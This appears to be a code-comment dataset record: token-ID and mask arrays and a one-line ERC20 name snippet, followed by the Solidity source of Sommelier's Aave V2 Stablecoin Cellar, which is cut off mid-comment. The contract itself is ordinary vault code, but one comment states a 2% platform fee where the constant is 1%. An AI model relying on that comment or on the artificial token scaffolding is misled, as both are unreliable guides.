[ 1, 565, 445, 605, 916, 11226, 654, 1502, 1258, 7240, 29, 3462, 12, 2867, 29759, 264, 67, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x8C68174f8329cBC6Bf35A258cc1CC3fC9DA906C0/sources/ERC20Token.sol
Set the name for display purposes
name = "ReversalCoin";
4,226,825
[ 1, 694, 326, 508, 364, 2562, 13694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 508, 273, 315, 426, 2496, 287, 27055, 14432, 4766, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; import {ERC20} from "@rari-capital/solmate/src/tokens/ERC20.sol"; import {SafeTransferLib} from "@rari-capital/solmate/src/utils/SafeTransferLib.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IAaveV2StablecoinCellar} from "./interfaces/IAaveV2StablecoinCellar.sol"; import {IAaveIncentivesController} from "./interfaces/IAaveIncentivesController.sol"; import {IStakedTokenV2} from "./interfaces/IStakedTokenV2.sol"; import {ICurveSwaps} from "./interfaces/ICurveSwaps.sol"; import {ISushiSwapRouter} from "./interfaces/ISushiSwapRouter.sol"; import {IGravity} from "./interfaces/IGravity.sol"; import {ILendingPool} from "./interfaces/ILendingPool.sol"; import {MathUtils} from "./utils/MathUtils.sol"; /** * @title Sommelier Aave V2 Stablecoin Cellar * @notice Dynamic ERC4626 that adapts strategies to always get the best yield for stablecoins on Aave. * @author Brian Le */ contract AaveV2StablecoinCellar is IAaveV2StablecoinCellar, ERC20, Ownable { using SafeTransferLib for ERC20; using MathUtils for uint256; /** * @notice The asset that makes up the cellar's holding pool. Will change whenever the cellar * rebalances into a new strategy. * @dev The cellar denotes its inactive assets in this token. While it waits in the holding pool * to be entered into a strategy, it is used to pay for withdraws from those redeeming their * shares. */ ERC20 public asset; /** * @notice An interest-bearing derivative of the current asset returned by Aave for lending * assets. Represents cellar's portion of active assets earning yield in a lending * strategy. */ ERC20 public assetAToken; /** * @notice The decimals of precision used by the current asset. * @dev Some stablecoins (eg. USDC and USDT) don't use the standard 18 decimals of precision. * This is used for converting between decimals when performing calculations in the cellar. */ uint8 public assetDecimals; /** * @notice Mapping from a user's address to all their deposits and balances. * @dev Used in determining which of a user's shares are active (entered into a strategy earning * yield vs inactive (waiting in the holding pool to be entered into a strategy and not * earning yield). */ mapping(address => UserDeposit[]) public userDeposits; /** * @notice Mapping from user's address to the index of first non-zero deposit in `userDeposits`. * @dev Saves gas when looping through all user's deposits. */ mapping(address => uint256) public currentDepositIndex; /** * @notice Last time all inactive assets were entered into a strategy and made active. */ uint256 public lastTimeEnteredStrategy; /** * @notice The value fees are divided by to get a percentage. Represents maximum percent (100%). */ uint256 public constant DENOMINATOR = 100_00; /** * @notice The percentage of platform fees (1%) taken off of active assets over a year. */ uint256 public constant PLATFORM_FEE = 1_00; /** * @notice The percentage of performance fees (5%) taken off of cellar gains. */ uint256 public constant PERFORMANCE_FEE = 5_00; /** * @notice Timestamp of last time platform fees were accrued. */ uint256 public lastTimeAccruedPlatformFees; /** * @notice Amount of active assets in cellar last time performance fees were accrued. */ uint256 public lastActiveAssets; /** * @notice Normalized income index for the current asset on Aave recorded last time performance * fees were accrued. */ uint256 public lastNormalizedIncome; /** * @notice Amount of platform fees that have been accrued awaiting transfer. * @dev Fees are taken in shares and redeemed for assets at the time they are transferred from * the cellar to Cosmos to be distributed. */ uint256 public accruedPlatformFees; /** * @notice Amount of performance fees that have been accrued awaiting transfer. * @dev Fees are taken in shares and redeemed for assets at the time they are transferred from * the cellar to Cosmos to be distributed. */ uint256 public accruedPerformanceFees; /** * @notice Cosmos address of the fee distributor as a hex value. * @dev The Gravity contract expects a 32-byte value formatted in a specific way. */ bytes32 public constant feesDistributor = hex"000000000000000000000000b813554b423266bbd4c16c32fa383394868c1f55"; /** * @notice Maximum amount of assets that can be managed by the cellar. Denominated in the same * units as the current asset. * @dev Limited to $5m until after security audits. */ uint256 public maxLiquidity; /** * @notice Whether or not the contract is paused in case of an emergency. */ bool public isPaused; /** * @notice Whether or not the contract is permanently shutdown in case of an emergency. */ bool public isShutdown; // ======================================== IMMUTABLES ======================================== // Curve Registry Exchange contract ICurveSwaps public immutable curveRegistryExchange; // 0xD1602F68CC7C4c7B59D686243EA35a9C73B0c6a2 // SushiSwap Router V2 contract ISushiSwapRouter public immutable sushiswapRouter; // 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F // Aave Lending Pool V2 contract ILendingPool public immutable lendingPool; // 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9 // Aave Incentives Controller V2 contract IAaveIncentivesController public immutable incentivesController; // 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5 // Cosmos Gravity Bridge contract IGravity public immutable gravityBridge; // 0x69592e6f9d21989a043646fE8225da2600e5A0f7 IStakedTokenV2 public immutable stkAAVE; // 0x4da27a545c0c5B758a6BA100e3a049001de870f5 ERC20 public immutable AAVE; // 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9 ERC20 public immutable WETH; // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 /** * @dev Owner of the cellar will be the Gravity contract controlled by Steward: * https://github.com/cosmos/gravity-bridge/blob/main/solidity/contracts/Gravity.sol * https://github.com/PeggyJV/steward * @param _asset current asset managed by the cellar * @param _curveRegistryExchange Curve registry exchange * @param _sushiswapRouter Sushiswap V2 router address * @param _lendingPool Aave V2 lending pool address * @param _incentivesController _incentivesController * @param _gravityBridge Cosmos Gravity Bridge address * @param _stkAAVE stkAAVE address * @param _AAVE AAVE address * @param _WETH WETH address */ constructor( ERC20 _asset, ICurveSwaps _curveRegistryExchange, ISushiSwapRouter _sushiswapRouter, ILendingPool _lendingPool, IAaveIncentivesController _incentivesController, IGravity _gravityBridge, IStakedTokenV2 _stkAAVE, ERC20 _AAVE, ERC20 _WETH ) ERC20("Sommelier Aave V2 Stablecoin Cellar LP Token", "aave2-CLR-S", 18) Ownable() { curveRegistryExchange = _curveRegistryExchange; sushiswapRouter = _sushiswapRouter; lendingPool = _lendingPool; incentivesController = _incentivesController; gravityBridge = _gravityBridge; stkAAVE = _stkAAVE; AAVE = _AAVE; WETH = _WETH; // Initialize asset. _updateStrategy(address(_asset)); // Initialize starting point for platform fee accrual to time when cellar was created. // Otherwise it would incorrectly calculate how much platform fees to take when accrueFees // is called for the first time. lastTimeAccruedPlatformFees = block.timestamp; } // =============================== DEPOSIT/WITHDRAWAL OPERATIONS =============================== /** * @notice Deposits assets and mints the shares to receiver. * @param assets amount of assets to deposit * @param receiver address receiving the shares * @return shares amount of shares minted */ function deposit(uint256 assets, address receiver) external returns (uint256 shares) { // In the case where a user tries to deposit more than their balance, the desired behavior // is to deposit what they have instead of reverting. uint256 maxDepositable = asset.balanceOf(msg.sender); if (assets > maxDepositable) assets = maxDepositable; (, shares) = _deposit(assets, 0, receiver); } /** * @notice Mints shares to receiver by depositing assets. * @param shares amount of shares to mint * @param receiver address receiving the shares * @return assets amount of assets deposited */ function mint(uint256 shares, address receiver) external returns (uint256 assets) { // In the case where a user tries to mint more shares than possible, the desired behavior // is to mint as many shares as their balance allows instead of reverting. uint256 maxMintable = previewDeposit(asset.balanceOf(msg.sender)); if (shares > maxMintable) shares = maxMintable; (assets, ) = _deposit(0, shares, receiver); } function _deposit(uint256 assets, uint256 shares, address receiver) internal returns (uint256, uint256) { // In case of an emergency or contract vulnerability, we don't want users to be able to // deposit more assets into a compromised contract. if (isPaused) revert ContractPaused(); if (isShutdown) revert ContractShutdown(); // Must calculate before assets are transferred in. shares > 0 ? assets = previewMint(shares) : shares = previewDeposit(assets); // Check for rounding error on `deposit` since we round down in previewDeposit. No need to // check for rounding error if `mint`, previewMint rounds up. if (shares == 0) revert ZeroShares(); // Check if security restrictions still apply. Enforce them if they do. if (maxLiquidity != type(uint256).max) { if (assets + totalAssets() > maxLiquidity) revert LiquidityRestricted(maxLiquidity); if (assets > maxDeposit(receiver)) revert DepositRestricted(50_000 * 10**assetDecimals); } // Transfers assets into the cellar. asset.safeTransferFrom(msg.sender, address(this), assets); // Mint user tokens that represents their share of the cellar's assets. _mint(receiver, shares); // Store the user's deposit data. This will be used later on when the user wants to withdraw // their assets or transfer their shares. UserDeposit[] storage deposits = userDeposits[receiver]; deposits.push(UserDeposit({ // Always store asset amounts with 18 decimals of precision regardless of the asset's // decimals. This is so we can still use this data even after rebalancing to different // asset. assets: uint112(assets.changeDecimals(assetDecimals, decimals)), shares: uint112(shares), timeDeposited: uint32(block.timestamp) })); emit Deposit( msg.sender, receiver, address(asset), assets, shares ); return (assets, shares); } /** * @notice Withdraws assets to receiver by redeeming shares from owner. * @param assets amount of assets being withdrawn * @param receiver address of account receiving the assets * @param owner address of the owner of the shares being redeemed * @return shares amount of shares redeemed */ function withdraw( uint256 assets, address receiver, address owner ) external returns (uint256 shares) { // This is done to avoid the possibility of an overflow if `assets` was set to a very high // number (like 2**256 – 1) when trying to change decimals. If a user tries to withdraw // more than their balance, the desired behavior is to withdraw as much as possible. uint256 maxWithdrawable = previewRedeem(balanceOf[owner]); if (assets > maxWithdrawable) assets = maxWithdrawable; // Ensures proceeding calculations are done with a standard 18 decimals of precision. Will // change back to the using the asset's usual decimals of precision when transferring assets // after all calculations are done. assets = assets.changeDecimals(assetDecimals, decimals); (, shares) = _withdraw(assets, receiver, owner); } /** * @notice Redeems shares from owner to withdraw assets to receiver. * @param shares amount of shares redeemed * @param receiver address of account receiving the assets * @param owner address of the owner of the shares being redeemed * @return assets amount of assets sent to receiver */ function redeem( uint256 shares, address receiver, address owner ) external returns (uint256 assets) { // This is done to avoid the possibility of an overflow if `shares` was set to a very high // number (like 2**256 – 1) when trying to change decimals. If a user tries to redeem more // than their balance, the desired behavior is to redeem as much as possible. uint256 maxRedeemable = maxRedeem(owner); if (shares > maxRedeemable) shares = maxRedeemable; (assets, ) = _withdraw(_convertToAssets(shares), receiver, owner); } /// @dev `assets` must be passed in with 18 decimals of precision. Should extend/truncate decimals of /// the amount passed in if necessary to ensure this is true. function _withdraw( uint256 assets, address receiver, address owner ) internal returns (uint256, uint256) { if (balanceOf[owner] == 0) revert ZeroShares(); if (assets == 0) revert ZeroAssets(); // Tracks the total amount of shares being redeemed for the amount of assets withdrawn. uint256 shares; // Retrieve the user's deposits to begin looping through them, generally from oldest to // newest deposits. This may not be the case though if shares have been transferred to the // owner, which will be added to the end of the owner's deposits regardless of time // deposited. UserDeposit[] storage deposits = userDeposits[owner]; // Tracks the amount of assets left to withdraw. Updated at the end of each loop. uint256 leftToWithdraw = assets; // Saves gas by avoiding calling `_convertToAssets` on active shares during each loop. uint256 exchangeRate = _convertToAssets(1e18); for (uint256 i = currentDepositIndex[owner]; i < deposits.length; i++) { UserDeposit storage d = deposits[i]; // Whether or not deposited shares are active or inactive. bool isActive = d.timeDeposited <= lastTimeEnteredStrategy; // If shares are active, convert them to the amount of assets they're worth to see the // maximum amount of assets we can take from this deposit. uint256 dAssets = isActive ? uint256(d.shares).mulWadDown(exchangeRate) : d.assets; // Determine the amount of assets and shares to withdraw from this deposit. uint256 withdrawnAssets = MathUtils.min(leftToWithdraw, dAssets); uint256 withdrawnShares = uint256(d.shares).mulDivUp(withdrawnAssets, dAssets); // For active shares, deletes the deposit data we don't need anymore for a gas refund. if (isActive) { delete d.assets; delete d.timeDeposited; } else { d.assets -= uint112(withdrawnAssets); } // Take the shares we need from this deposit and add them to our total. d.shares -= uint112(withdrawnShares); shares += withdrawnShares; // Update the counter of assets we have left to withdraw. leftToWithdraw -= withdrawnAssets; // Finish if this is the last deposit or there is nothing left to withdraw. if (i == deposits.length - 1 || leftToWithdraw == 0) { // Store the user's next non-zero deposit to save gas on future looping. currentDepositIndex[owner] = d.shares != 0 ? i : i+1; break; } } // If the caller is not the owner of the shares, check to see if the owner has approved them // to spend their shares. if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } // Redeem shares for assets. _burn(owner, shares); // Determine the total amount of assets withdrawn. assets -= leftToWithdraw; // Convert assets decimals back to get ready for transfers. assets = assets.changeDecimals(decimals, assetDecimals); // Only withdraw from strategy if holding pool does not contain enough funds. _allocateAssets(assets); // Transfer assets to receiver from the cellar's holding pool. asset.safeTransfer(receiver, assets); emit Withdraw(receiver, owner, address(asset), assets, shares); // Returns the amount of assets withdrawn and amount of shares redeemed. The amount of // assets withdrawn may differ from the amount of assets specified when calling the function // if the user has less assets then they tried withdrawing. return (assets, shares); } // ================================== ACCOUNTING OPERATIONS ================================== /** * @dev The internal functions always use 18 decimals of precision while the public functions use * as many decimals as the current asset (aka they don't change the decimals). This is * because we want the user deposit data the cellar stores to be usable across different * assets regardless of the decimals used. This means the cellar will always perform * calculations and store data with a standard of 18 decimals of precision but will change * the decimals back when transferring assets outside the contract or returning data * through public view functions. */ /** * @notice Total amount of active asset entered into a strategy. */ function activeAssets() public view returns (uint256) { // The aTokens' value is pegged to the value of the corresponding asset at a 1:1 ratio. We // can find the amount of assets active in a strategy simply by taking balance of aTokens // cellar holds. return assetAToken.balanceOf(address(this)); } function _activeAssets() internal view returns (uint256) { uint256 assets = assetAToken.balanceOf(address(this)); return assets.changeDecimals(assetDecimals, decimals); } /** * @notice Total amount of inactive asset waiting in a holding pool to be entered into a strategy. */ function inactiveAssets() public view returns (uint256) { return asset.balanceOf(address(this)); } function _inactiveAssets() internal view returns (uint256) { uint256 assets = asset.balanceOf(address(this)); return assets.changeDecimals(assetDecimals, decimals); } /** * @notice Total amount of the asset that is managed by cellar. */ function totalAssets() public view returns (uint256) { return activeAssets() + inactiveAssets(); } function _totalAssets() internal view returns (uint256) { return _activeAssets() + _inactiveAssets(); } /** * @notice The amount of shares that the cellar would exchange for the amount of assets provided * ONLY if they are active. * @param assets amount of assets to convert * @return shares the assets can be exchanged for */ function convertToShares(uint256 assets) public view returns (uint256) { assets = assets.changeDecimals(assetDecimals, decimals); return _convertToShares(assets); } function _convertToShares(uint256 assets) internal view returns (uint256) { return totalSupply == 0 ? assets : assets.mulDivDown(totalSupply, _totalAssets()); } /** * @notice The amount of assets that the cellar would exchange for the amount of shares provided * ONLY if they are active. * @param shares amount of shares to convert * @return assets the shares can be exchanged for */ function convertToAssets(uint256 shares) public view returns (uint256) { uint256 assets = _convertToAssets(shares); return assets.changeDecimals(decimals, assetDecimals); } function _convertToAssets(uint256 shares) internal view returns (uint256) { return totalSupply == 0 ? shares : shares.mulDivDown(_totalAssets(), totalSupply); } /** * @notice Simulate the effects of depositing assets at the current block, given current on-chain * conditions. * @param assets amount of assets to deposit * @return shares that will be minted */ function previewDeposit(uint256 assets) public view returns (uint256) { return convertToShares(assets); } /** * @notice Simulate the effects of minting shares at the current block, given current on-chain * conditions. * @param shares amount of shares to mint * @return assets that will be deposited */ function previewMint(uint256 shares) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. uint256 assets = supply == 0 ? shares : shares.mulDivUp(_totalAssets(), supply); return assets.changeDecimals(decimals, assetDecimals); } /** * @notice Simulate the effects of withdrawing assets at the current block, given current * on-chain conditions. Assumes the shares being redeemed are all active. * @param assets amount of assets to withdraw * @return shares that will be redeemed */ function previewWithdraw(uint256 assets) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivUp(supply, totalAssets()); } /** * @notice Simulate the effects of redeeming shares at the current block, given current on-chain * conditions. Assumes the shares being redeemed are all active. * @param shares amount of sharers to redeem * @return assets that can be withdrawn */ function previewRedeem(uint256 shares) public view returns (uint256) { return convertToAssets(shares); } // ======================================= STATE INFORMATION ===================================== /** * @notice Retrieve information on a user's deposits. * @param user address of the user * @return userActiveShares amount of active shares the user has * @return userInactiveShares amount of inactive shares the user has * @return userActiveAssets amount of active assets the user has * @return userInactiveAssets amount of inactive assets the user has */ function depositBalances(address user) public view returns ( uint256 userActiveShares, uint256 userInactiveShares, uint256 userActiveAssets, uint256 userInactiveAssets ) { // Retrieve the user's deposits to begin looping through them, generally from oldest to // newest deposits. This may not be the case though if shares have been transferred to the // user, which will be added to the end of the user's deposits regardless of time // deposited. UserDeposit[] storage deposits = userDeposits[user]; // Saves gas by avoiding calling `_convertToAssets` on active shares during each loop. uint256 exchangeRate = _convertToAssets(1e18); for (uint256 i = currentDepositIndex[user]; i < deposits.length; i++) { UserDeposit storage d = deposits[i]; // Determine whether or not deposit is active or inactive. if (d.timeDeposited <= lastTimeEnteredStrategy) { // Saves an extra SLOAD if active and cast type to uint256. uint256 dShares = d.shares; userActiveShares += dShares; userActiveAssets += dShares.mulWadDown(exchangeRate); // Convert shares to assets. } else { userInactiveShares += d.shares; userInactiveAssets += d.assets; } } // Return assets in their original units. userActiveAssets = userActiveAssets.changeDecimals(decimals, assetDecimals); userInactiveAssets = userInactiveAssets.changeDecimals(decimals, assetDecimals); } /** * @notice Returns the number of deposits for a user. Can be used off-chain to * make iterating through user stakes easier. * @param user address of the user * @return deposits the number of deposits for the user */ function numDeposits(address user) external view returns (uint256) { return userDeposits[user].length; } // =========================== DEPOSIT/WITHDRAWAL LIMIT OPERATIONS =========================== /** * @notice Total number of assets that can be deposited by owner into the cellar. * @dev Until after security audits, limits deposits to $50k per wallet. * @param owner address of account that would receive the shares * @return maximum amount of assets that can be deposited */ function maxDeposit(address owner) public view returns (uint256) { if (isShutdown || isPaused) return 0; if (maxLiquidity == type(uint256).max) return type(uint256).max; uint256 depositLimit = 50_000 * 10**assetDecimals; uint256 assets = previewRedeem(balanceOf[owner]); return depositLimit > assets ? depositLimit - assets : 0; } /** * @notice Total number of shares that can be minted for owner from the cellar. * @dev Until after security audits, limits mints to $50k of shares per wallet. * @param owner address of account that would receive the shares * @return maximum amount of shares that can be minted */ function maxMint(address owner) public view returns (uint256) { if (isShutdown || isPaused) return 0; if (maxLiquidity == type(uint256).max) return type(uint256).max; uint256 mintLimit = previewDeposit(50_000 * 10**assetDecimals); uint256 shares = balanceOf[owner]; return mintLimit > shares ? mintLimit - shares : 0; } /** * @notice Total number of assets that can be withdrawn from the cellar. * @param owner address of account that would holds the shares * @return maximum amount of assets that can be withdrawn */ function maxWithdraw(address owner) public view returns (uint256) { UserDeposit[] storage deposits = userDeposits[owner]; // Track max assets that can be withdrawn. uint256 assets; // Saves gas by avoiding calling `_convertToAssets` on active shares during each loop. uint256 exchangeRate = _convertToAssets(1e18); for (uint256 i = currentDepositIndex[owner]; i < deposits.length; i++) { UserDeposit storage d = deposits[i]; // Determine the amount of assets that can be withdrawn. Only redeem active shares for // assets, otherwise just withdrawn the original amount of assets that were deposited. assets += d.timeDeposited <= lastTimeEnteredStrategy ? uint256(d.shares).mulWadDown(exchangeRate) : d.assets; } // Return the maximum amount of assets that can be withdrawn in the assets original units. return assets.changeDecimals(decimals, assetDecimals); } /** * @notice Total number of shares that can be redeemed from the cellar. * @param owner address of account that would holds the shares * @return maximum amount of shares that can be redeemed */ function maxRedeem(address owner) public view returns (uint256) { return balanceOf[owner]; } // ====================================== FEE OPERATIONS ====================================== /** * @notice Take platform fees and performance fees off of cellar's active assets. */ function accrueFees() external { // When the contract is shutdown, there should be no reason to accrue fees because there // will be no active assets to accrue fees on. if (isShutdown) revert ContractShutdown(); // Platform fees taken each accrual = activeAssets * (elapsedTime * (2% / SECS_PER_YEAR)). uint256 elapsedTime = block.timestamp - lastTimeAccruedPlatformFees; uint256 platformFeeInAssets = (_activeAssets() * elapsedTime * PLATFORM_FEE) / DENOMINATOR / 365 days; // The cellar accrues fees as shares instead of assets. uint256 platformFees = _convertToShares(platformFeeInAssets); _mint(address(this), platformFees); // Update the tracker for total platform fees accrued that are still waiting to be // transferred. accruedPlatformFees += platformFees; emit AccruedPlatformFees(platformFees); // Begin accrual of performance fees. _accruePerformanceFees(true); } /** * @notice Accrue performance fees. * @param updateFeeData whether or not to update fee data */ function _accruePerformanceFees(bool updateFeeData) internal { // Retrieve the current normalized income per unit of asset for the current strategy on Aave. uint256 normalizedIncome = lendingPool.getReserveNormalizedIncome(address(asset)); // If this is the first time the cellar is accruing performance fees, it will skip the part // were we take fees and should just update the fee data to set a baseline for assessing the // current strategy's performance. if (lastActiveAssets != 0) { // An index value greater than 1e27 indicates positive performance for the strategy's // lending position, while a value less than that indicates negative performance. uint256 performanceIndex = normalizedIncome.mulDivDown(1e27, lastNormalizedIncome); // This is the amount the cellar's active assets have grown to solely from performance // on Aave since the last time performance fees were accrued. It does not include // changes from deposits and withdraws. uint256 updatedActiveAssets = lastActiveAssets.mulDivUp(performanceIndex, 1e27); // Determines whether performance has been positive or negative. if (performanceIndex >= 1e27) { // Fees taken each accrual = (updatedActiveAssets - lastActiveAssets) * 5% uint256 gain = updatedActiveAssets - lastActiveAssets; uint256 performanceFeeInAssets = gain.mulDivDown(PERFORMANCE_FEE, DENOMINATOR); // The cellar accrues fees as shares instead of assets. uint256 performanceFees = _convertToShares(performanceFeeInAssets); _mint(address(this), performanceFees); accruedPerformanceFees += performanceFees; emit AccruedPerformanceFees(performanceFees); } else { // This would only happen if the current stablecoin strategy on Aave performed // negatively. This should rarely happen, if ever, for this particular cellar. But // in case it does, this mechanism will burn performance fees to help offset losses // in proportion to those minted for previous gains. uint256 loss = lastActiveAssets - updatedActiveAssets; uint256 insuranceInAssets = loss.mulDivDown(PERFORMANCE_FEE, DENOMINATOR); // Cannot burn more performance fees than the cellar has accrued. uint256 insurance = MathUtils.min( _convertToShares(insuranceInAssets), accruedPerformanceFees ); _burn(address(this), insurance); accruedPerformanceFees -= insurance; emit BurntPerformanceFees(insurance); } } // There may be cases were we don't want to update fee data in this function, for example // when we accrue performance fees before rebalancing into a new strategy since the data // will be outdated after the rebalance to a new strategy. if (updateFeeData) { lastActiveAssets = _activeAssets(); lastNormalizedIncome = normalizedIncome; } } /** * @notice Transfer accrued fees to Cosmos to distribute. */ function transferFees() external onlyOwner { // Total up all the fees this cellar has accrued and determine how much they can be redeemed // for in assets. uint256 fees = accruedPerformanceFees + accruedPlatformFees; uint256 feeInAssets = previewRedeem(fees); // Redeem our fee shares for assets to transfer to Cosmos. _burn(address(this), fees); // Only withdraw assets from strategy if the holding pool does not contain enough funds. // Otherwise, all assets will come from the holding pool. _allocateAssets(feeInAssets); // Transfer assets to a fee distributor on Cosmos. asset.approve(address(gravityBridge), feeInAssets); gravityBridge.sendToCosmos(address(asset), feesDistributor, feeInAssets); emit TransferFees(accruedPlatformFees, accruedPerformanceFees); // Reset the tracker for fees accrued that are still waiting to be transferred. accruedPlatformFees = 0; accruedPerformanceFees = 0; } // ===================================== ADMIN OPERATIONS ===================================== /** * @notice Enters into the current Aave stablecoin strategy. */ function enterStrategy() external onlyOwner { // When the contract is shutdown, it shouldn't be allowed to enter back into a strategy with // the assets it just withdrew from Aave. if (isShutdown) revert ContractShutdown(); // Deposits all inactive assets in the holding pool into the current strategy. _depositToAave(address(asset), inactiveAssets()); // The cellar will use this when determining which of a user's shares are active vs inactive. lastTimeEnteredStrategy = block.timestamp; } /** * @notice Rebalances current assets into a new asset strategy. * @param route array of [initial token, pool, token, pool, token, ...] that specifies the swap route * @param swapParams multidimensional array of [i, j, swap type] where i and j are the correct values for the n'th pool in `_route` and swap type should be 1 for a stableswap `exchange`, 2 for stableswap `exchange_underlying`, 3 for a cryptoswap `exchange`, 4 for a cryptoswap `exchange_underlying` and 5 for Polygon factory metapools `exchange_underlying` * @param minAmountOut minimum amount received after the final swap */ function rebalance( address[9] memory route, uint256[3][4] memory swapParams, uint256 minAmountOut ) external onlyOwner { // If the contract is shutdown, cellar shouldn't be able to rebalance assets it recently // pulled out back into a new strategy. if (isShutdown) revert ContractShutdown(); // Retrieve the last token in the route and store it as the new asset. address newAsset; for (uint256 i; ; i += 2) { if (i == 8 || route[i+1] == address(0)) { newAsset = route[i]; break; } } // Doesn't make sense to rebalance into the same asset. if (newAsset == address(asset)) revert SameAsset(newAsset); // Accrue any final performance fees from the current strategy before rebalancing. Otherwise // those fees would be lost when we proceed to update fee data for the new strategy. Also we // don't want to update the fee data here because we will do that later on after we've // rebalanced into a new strategy. _accruePerformanceFees(false); // Pull all active assets entered into Aave back into the cellar so we can swap everything // into the new asset. _withdrawFromAave(address(asset), type(uint256).max); uint256 holdingPoolAssets = inactiveAssets(); // Approve Curve to swap the cellar's assets. asset.safeApprove(address(curveRegistryExchange), holdingPoolAssets); // Perform stablecoin swap using Curve. uint256 amountOut = curveRegistryExchange.exchange_multiple( route, swapParams, holdingPoolAssets, minAmountOut ); // Store this later for the event we will emit. address oldAsset = address(asset); // Updates state for our new strategy and check to make sure Aave supports it before // rebalancing. _updateStrategy(newAsset); // Rebalance our assets into a new strategy. _depositToAave(newAsset, amountOut); // Update fee data for next fee accrual with new strategy. lastActiveAssets = _activeAssets(); lastNormalizedIncome = lendingPool.getReserveNormalizedIncome(address(asset)); emit Rebalance(oldAsset, newAsset, amountOut); } /** * @notice Reinvest rewards back into cellar's current strategy. * @dev Must be called within 2 day unstake period 10 days after `claimAndUnstake` was run. * @param minAmountOut minimum 